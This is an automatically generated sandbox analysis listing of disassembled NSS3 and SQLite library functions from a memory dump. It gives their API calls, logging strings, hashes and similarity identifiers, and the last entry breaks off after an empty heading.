Opcode ID: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction ID: d35bc0d0a244ac99e0fa54c0c7c61c7918020506b830ad2bbd48e3b9cb85113c
Opcode Fuzzy Hash: 92f62b0c1d33039453350fe174feaafaf8966d4d4f12565d812765df1d333df0
Instruction Fuzzy Hash: AB31C475612158AFDB009F15DE4CF8A3BB2AB4235DF084035E909ABA51DB30D948CBBE

Function 6C687F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C687F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687F93

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687FE1

Strings

hSession = 0x%x, xrefs: 6C687F6E, 6C687F7E
pSignature = 0x%p, xrefs: 6C687FC3
C_VerifyFinal, xrefs: 6C687F51
(CK_INVALID_HANDLE), xrefs: 6C687F8C
nvl, xrefs: 6C687FF9, 6C688027
ulSignatureLen = %d, xrefs: 6C687FDC

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nvl
API String ID: 1003633598-406126234
Opcode ID: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction ID: 97c9f819b8b64d4b49fde6f5ca08714c7d8272612ea73c80dc2f133d6e59f10e
Opcode Fuzzy Hash: 4e30c1d501b75f8fb71495ec16c4fa605a74a30091850ab974a99ae56588d62c
Instruction Fuzzy Hash: 6631B271702158ABDB109F56DE4CF8A3BB1AB46359F044035F809ABA11DB30A948CBBE

Function 6C64AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C64AF47

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

FreeLibrary.KERNEL32(?), ref: 6C64AF6D
free.MOZGLUE(?), ref: 6C64AFA4
free.MOZGLUE(?), ref: 6C64AFAA
PR_ExitMonitor.NSS3 ref: 6C64AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C64AFF5
PR_ExitMonitor.NSS3 ref: 6C64B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C64B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C64B03C

Strings

%s decr => %d, xrefs: 6C64AFF0
Unloaded library %s, xrefs: 6C64B023

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction ID: 4052977f948da2556666b9c4f95db5b8d006a66feda73761434380debadff623
Opcode Fuzzy Hash: 85e0e32acd37585fb4923a3489073608a21f022ec7ee8fb132514757a798e274
Instruction Fuzzy Hash: 473103B4A04101BBEB009F61DC48E5AB775EB4670DB18C135EC0687A41F722E824C7AD

Function 6C696C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96

Part of subcall function 6C641240: TlsGetValue.KERNEL32(00000040,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641267
Part of subcall function 6C641240: EnterCriticalSection.KERNEL32(?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C64127C
Part of subcall function 6C641240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C641291
Part of subcall function 6C641240: PR_Unlock.NSS3(?,?,?,?,6C64116C,NSPR_LOG_MODULES), ref: 6C6412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

Strings

sql:, xrefs: 6C696C52
rdb:, xrefs: 6C696C69
NSS_DEFAULT_DB_TYPE, xrefs: 6C696C91
extern:, xrefs: 6C696C7E
dbm, xrefs: 6C696CA4
dbm:, xrefs: 6C696C3A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction ID: 0fe2c62c29fcbf0ef25a135404f7e84b729a72df7edb3cf82263d452de9dfbd1
Opcode Fuzzy Hash: c196fb9460011e818bc2b35c1378a8d3b495fdd042ff49280a1e2b73dd4b63e2
Instruction Fuzzy Hash: D301A2A170630277FA4027BA7E4AF66355C9F41259F144531FE04E0981EB92E61480E9

Function 6C6A4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6678F8), ref: 6C6A4E6D

Part of subcall function 6C6409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6406A2,00000000,?), ref: 6C6409F8
Part of subcall function 6C6409E0: malloc.MOZGLUE(0000001F), ref: 6C640A18
Part of subcall function 6C6409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C640A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6678F8), ref: 6C6A4ED9

Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C697703,?,00000000,00000000), ref: 6C695942
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C697703), ref: 6C695954
Part of subcall function 6C695920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C69596A
Part of subcall function 6C695920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C695984
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C695999
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959BA
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6959D3
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C6959F5
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C695A0A
Part of subcall function 6C695920: free.MOZGLUE(00000000), ref: 6C695A2E
Part of subcall function 6C695920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C695A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EB3

Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A484C
Part of subcall function 6C6A4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C6A4EB8,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A486D
Part of subcall function 6C6A4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C6A4EB8,?), ref: 6C6A4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4EC0

Part of subcall function 6C6A4470: TlsGetValue.KERNEL32(00000000,?,6C667296,00000000), ref: 6C6A4487
Part of subcall function 6C6A4470: EnterCriticalSection.KERNEL32(?,?,?,6C667296,00000000), ref: 6C6A44A0
Part of subcall function 6C6A4470: PR_Unlock.NSS3(?,?,?,?,6C667296,00000000), ref: 6C6A44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C77DCB0,00000000), ref: 6C6A4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C6A501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6678F8), ref: 6C6A506B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction ID: 92bd4522a208fcd338fb28edf80d380f17c0a449611768c9f1f27572a16d81e7
Opcode Fuzzy Hash: 306bf7aacf141ee09f79a1ecf42902009a74b359ca8103d0047559dbe89b2749
Instruction Fuzzy Hash: 8D5124B1D00602ABEB019FA5EC01AAA76B4FF0635CF144535E80682A11FB71DD56CB9E

Function 6C64ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
malloc.MOZGLUE(00000001), ref: 6C64ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
TlsGetValue.KERNEL32 ref: 6C64AD3C
calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
PR_Unlock.NSS3 ref: 6C64ADC0
free.MOZGLUE(00000000), ref: 6C64AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C64AE58
free.MOZGLUE(00000000), ref: 6C64AE69
free.MOZGLUE(?), ref: 6C64AE78
PR_Unlock.NSS3 ref: 6C64AE8C
free.MOZGLUE(?), ref: 6C64AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64AEC7

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction ID: 6106790eaf8e23609cd09d723854ff11c9532eb50bce59898821e2ab9ce1c20f
Opcode Fuzzy Hash: 84f6e60270b873b5bf19e335ede44e8364a518f43c777defb0ce42703ea2c3ad
Instruction Fuzzy Hash: 0051CEB1E01216ABDF00DFA8DC45AAE77B4BB06349F14C135D814A7B12E731A915CBEE

Function 6C724C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C724CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C724CFD
sqlite3_value_text16.NSS3(?), ref: 6C724D44

Strings

abort due to ROLLBACK, xrefs: 6C724D27, 6C724D33
out of memory, xrefs: 6C724C78, 6C724C9E
bad parameter or other API misuse, xrefs: 6C724D05
no more rows available, xrefs: 6C724D2E
unknown error, xrefs: 6C724D56
invalid, xrefs: 6C724CF1
API call with %s database connection pointer, xrefs: 6C724CF6
another row available, xrefs: 6C724D20

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction ID: d20f984e5d4986f1caa022d4c81b56f581435f2f232f62a3877840c1ca14a411
Opcode Fuzzy Hash: 3507746ccf8fa93d6c10d310b67e49ebcf88de9919d69bc53533051726c1ce75
Instruction Fuzzy Hash: A531CB73E08811A7D7084A2CAB127A57721B783318F150535C9244BF55C7BCAC91B7E6

Function 6C682CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C682CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C682D07

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C682D22

Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760B88
Part of subcall function 6C7609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C760C5D
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C760C8D
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760C9C
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760CD1
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760CEC
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760CFB
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760D16
Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C760D26
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D35
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C760D65
Part of subcall function 6C7609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C760D70
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760D90
Part of subcall function 6C7609D0: free.MOZGLUE(00000000), ref: 6C760D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C682D3B

Part of subcall function 6C7609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C760BAB
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760BBA
Part of subcall function 6C7609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C760D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C682D54

Part of subcall function 6C7609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C760BCB
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760BDE
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(?), ref: 6C760C16

Strings

pPin = 0x%p, xrefs: 6C682D1D
pLabel = 0x%p, xrefs: 6C682D4F
ulPinLen = %d, xrefs: 6C682D36
slotID = 0x%x, xrefs: 6C682D02
C_InitToken, xrefs: 6C682CE7
nvl, xrefs: 6C682D6C, 6C682D9A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nvl
API String ID: 420000887-506700037
Opcode ID: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction ID: 955d1e8f7988c384628d13504675b998b6af728c9adcb911813f16929084d8b2
Opcode Fuzzy Hash: ef7b5359429b0a0586b3b60ace916b72e40df43bf4c13400fdcbc6675a6f3562
Instruction Fuzzy Hash: 7B218675202148AFDB009F54DE8CE453FF6EB4235DF448034E90897A62DB309959CB7E

Function 6C722D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C722D9F

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

sqlite3_exec.NSS3(?,?,6C722F70,?,?), ref: 6C722DF9
sqlite3_free.NSS3(00000000), ref: 6C722E2C
sqlite3_free.NSS3(?), ref: 6C722E3A
sqlite3_free.NSS3(?), ref: 6C722E52
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C722E62
sqlite3_free.NSS3(?), ref: 6C722E70
sqlite3_free.NSS3(?), ref: 6C722E89
sqlite3_free.NSS3(?), ref: 6C722EBB
sqlite3_free.NSS3(?), ref: 6C722ECB
sqlite3_free.NSS3(00000000), ref: 6C722F3E
sqlite3_free.NSS3(?), ref: 6C722F4C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction ID: b39af2a6352e5ed4a62118d0c17db90a238e48776222c0a02910b1962d4f26b3
Opcode Fuzzy Hash: 0e6a4e4ec064bad3a4a2e42bc72709a20611f34633e53df68bd94d7e87707af0
Instruction Fuzzy Hash: E36190B5E112058BEB10CF68D989B9EB7B5EF88368F154038DC15A7701EB39E845CBA1

Function 6C667C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,Function_00097E60,00000000,?,?,?,?,6C6E067D,6C6E1C60,00000000), ref: 6C667C81

Part of subcall function 6C5D4C70: TlsGetValue.KERNEL32(?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4C97
Part of subcall function 6C5D4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CB0
Part of subcall function 6C5D4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5D3921,6C7B14E4,6C71CC70), ref: 6C5D4CC9

TlsGetValue.KERNEL32 ref: 6C667CA0
EnterCriticalSection.KERNEL32(?), ref: 6C667CB4
PR_Unlock.NSS3 ref: 6C667CCF

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

TlsGetValue.KERNEL32 ref: 6C667D04
EnterCriticalSection.KERNEL32(?), ref: 6C667D1B
realloc.MOZGLUE(-00000050), ref: 6C667D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C667DF4
PR_Unlock.NSS3 ref: 6C667E0E

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction ID: cd0d8d44517823f72526ae685aab853acb2ea2a1c4186cb4cc9c4450451460b2
Opcode Fuzzy Hash: 96db53677b634acf98d3b06285864869eb5c8aedae084c48ef9f62a148587d49
Instruction Fuzzy Hash: D5510271A05104AFDB009F2ADC44E6537F6EB42399F154539ED0887B21EB319855CB9A

Function 6C5D4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

